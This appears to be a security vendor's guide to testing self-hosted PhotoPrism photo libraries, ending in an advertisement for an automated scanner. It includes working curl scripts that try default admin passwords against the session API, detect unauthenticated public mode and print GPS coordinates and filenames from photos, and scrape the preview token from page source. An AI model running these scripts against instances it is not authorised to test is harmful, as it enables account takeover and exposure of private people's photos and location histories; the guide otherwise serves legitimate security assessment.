PhotoPrism Security Testing: Default Credentials, Public Access Mode, API Token, and EXIF Data Exposure

PhotoPrism is a widely deployed AI-powered self-hosted photo management application used as a privacy-conscious alternative to Google Photos, with face recognition, object detection, and location-based organization built on machine learning. Its security assessment covers several key areas: PhotoPrism ships with default credentials of admin/admin or admin/photoprism documented in the official quick start — these are frequently unchanged in self-hosted deployments; PhotoPrism's Public mode setting (PHOTOPRISM_AUTH_MODE=public) disables all authentication and makes the entire photo library, including GPS location data on the map view, accessible to anyone who reaches the instance; PhotoPrism's REST API uses session-based bearer tokens and app passwords — tokens extracted from local storage or proxy traffic give programmatic access to enumerate, download, and export all photos; PhotoPrism indexes EXIF metadata from every uploaded photo and stores GPS coordinates in its database, which are then visualized on a map view and accessible via the /api/v1/photos endpoint; and the PreviewToken embedded in the PhotoPrism HTML configuration provides authenticated-but-guessable direct URL access to photo thumbnails. This guide covers systematic PhotoPrism security assessment.

Table of Contents

  1. Default Credential Testing
  2. Public Mode Discovery
  3. API Token Extraction
  4. EXIF Location Data Exposure
  5. PhotoPrism Security Hardening

Default Credential Testing

# PhotoPrism default credentials: admin/admin or admin/photoprism
PHOTOPRISM_URL="https://photos.example.com"

# Test default credentials via API session endpoint
for PASS in "admin" "photoprism" "password" "changeme"; do
  RESPONSE=$(curl -s -X POST "${PHOTOPRISM_URL}/api/v1/session" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"admin\",\"password\":\"${PASS}\"}" 2>/dev/null)
  TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('access_token') or d.get('id',''))
" 2>/dev/null)
  if [ -n "$TOKEN" ] && [ "$TOKEN" != "null" ]; then
    echo "AUTHENTICATED with password: ${PASS}"
    echo "Session token: ${TOKEN}"
    # Get library statistics
    curl -s "${PHOTOPRISM_URL}/api/v1/stats" \
      -H "X-Session-ID: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Photos: {d.get(\"photos\",\"?\")} Videos: {d.get(\"videos\",\"?\")} Countries: {d.get(\"countries\",\"?\")}')
" 2>/dev/null
    break
  fi
done

Public Mode Discovery

# PhotoPrism Public mode: PHOTOPRISM_AUTH_MODE=public disables all authentication
# All photos, GPS map, and API endpoints accessible without credentials

PHOTOPRISM_URL="https://photos.example.com"

# Check if PhotoPrism is running in public (unauthenticated) mode
PUBLIC_PHOTOS=$(curl -s "${PHOTOPRISM_URL}/api/v1/photos?count=10" \
  -H "Accept: application/json" 2>/dev/null)

PHOTO_COUNT=$(echo "$PUBLIC_PHOTOS" | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if isinstance(d,list):
        print(len(d))
    else:
        print('not-array')
except:
    print('error')
" 2>/dev/null)

if echo "$PHOTO_COUNT" | grep -qE '^[0-9]+$'; then
  echo "PUBLIC MODE ACTIVE — ${PHOTO_COUNT} photos accessible without authentication"
  # Extract GPS data from returned photos
  echo "$PUBLIC_PHOTOS" | python3 -c "
import json,sys
d=json.load(sys.stdin)
for p in d[:5]:
    lat = p.get('Lat',0)
    lng = p.get('Lng',0)
    if lat != 0 or lng != 0:
        print(f\"GPS: {lat},{lng} — {p.get('FileName','?')}\")
" 2>/dev/null
fi

# Check for PreviewToken in page source (allows direct thumbnail URL construction)
curl -s "${PHOTOPRISM_URL}/" 2>/dev/null | \
  grep -oE '"previewToken":"[^"]+"' | head -3

PhotoPrism Security Hardening

PhotoPrism Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin or admin/photoprism credentialsPOST /api/v1/session with default passwords — session token gives full library access, settings management, and user administrationCritical
Public mode — all photos accessible without authGET /api/v1/photos without credentials — Public mode returns full library including GPS coordinates and face recognition dataCritical
PreviewToken in page source for direct photo URLscurl homepage and grep for previewToken — token enables constructing direct thumbnail URLs for all indexed photosHigh
GPS EXIF data accessible via photos APIGET /api/v1/photos?count=500 — Lat/Lng fields in photo objects reveal GPS history for all indexed photosHigh
Session token in browser local storageBrowser localStorage["photoprism_session"] stores session ID — extraction from shared device or XSS gives persistent API accessHigh
Face recognition person dataGET /api/v1/people with session token — lists all identified persons with face photos and occurrence countsHigh

Automate PhotoPrism Security Testing

Ironimo tests PhotoPrism deployments for default admin/admin and admin/photoprism credentials via the session API, Public mode configuration exposing the full photo library including GPS location data without authentication, PreviewToken extraction from page source for unauthenticated thumbnail access, GPS EXIF data enumeration from the photos API revealing complete location history, face recognition person data exposure, and session token security in browser storage configurations.

Start free scan